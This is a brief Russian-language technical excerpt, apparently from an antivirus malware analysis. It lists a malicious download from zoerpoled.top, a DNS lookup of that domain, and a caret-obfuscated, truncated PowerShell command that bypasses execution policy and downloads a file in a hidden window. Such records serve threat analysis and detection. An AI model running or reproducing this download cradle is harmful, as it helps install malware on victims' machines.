Техническая информация
- http://www.zoerpoled.top/read.php?f=1.gif как %appdata%.exe
- '<SYSTEM32>\cmd.exe' /C "P^O^WE^rshelL.eX^E ^-Ex^eCuTiOn^poLIc^y b^Y^pA^S^S^ -NopRofIL^E -W^I^nDO^Wsty^lE^ HiD^d^EN (n^EW-^objE^c^T s^YS^tEm^.Ne^T.^WEbclie^NT)^.^d^owNlOaDfIle^('http://www.zoerpoled.top/...
- DNS ASK zo###oled.top
- '<SYSTEM32>\cmd.exe' /C "P^O^WE^rshelL.eX^E ^-Ex^eCuTiOn^poLIc^y b^Y^pA^S^S^ -NopRofIL^E -W^I^nDO^Wsty^lE^ HiD^d^EN (n^EW-^objE^c^T s^YS^tEm^.Ne^T.^WEbclie^NT)^.^d^owNlOaDfIle^('http://www.zoerpoled.top/...' (со скрытым окном)